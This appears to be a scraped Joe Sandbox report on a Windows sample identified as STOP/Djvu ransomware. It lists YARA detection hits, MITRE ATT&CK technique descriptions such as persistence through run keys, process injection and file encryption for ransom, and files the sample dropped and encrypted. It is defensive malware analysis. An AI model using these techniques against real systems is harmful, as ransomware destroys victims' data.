Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: SUSP_XORed_URL_in_EXE, Description: Detects an XORed URL in an executable, Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Florian Roth Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Disassembly

⊘No disassembly

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Services
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to collect elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Application logs, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report bE5aaTiJM0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Djvu

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\SystemID\PersonalID.txt

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old.vvyu (copy)

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\7D5KIW2V\www.msn[1].xml

C:\Users\user\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\7D5KIW2V\www.msn[1].xml.vvyu (copy)

C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe

C:\Users\user\AppData\Local\134b591f-abb9-4ef9-932a-7c7a6a2cddfe\bE5aaTiJM0.exe:Zone.Identifier

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\get[1].htm

C:\Users\user\AppData\Local\bowsakkdestx.txt

C:\Users\user\Desktop\BJZFPPWAPT.pdf

C:\Users\user\Desktop\BJZFPPWAPT.pdf.vvyu (copy)

C:\Users\user\Desktop\BJZFPPWAPT.xlsx

C:\Users\user\Desktop\BJZFPPWAPT.xlsx.vvyu (copy)

C:\Users\user\Desktop\BNAGMGSPLO.docx

C:\Users\user\Desktop\BNAGMGSPLO.docx.vvyu (copy)

C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx

Windows Analysis Report
bE5aaTiJM0.exe

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre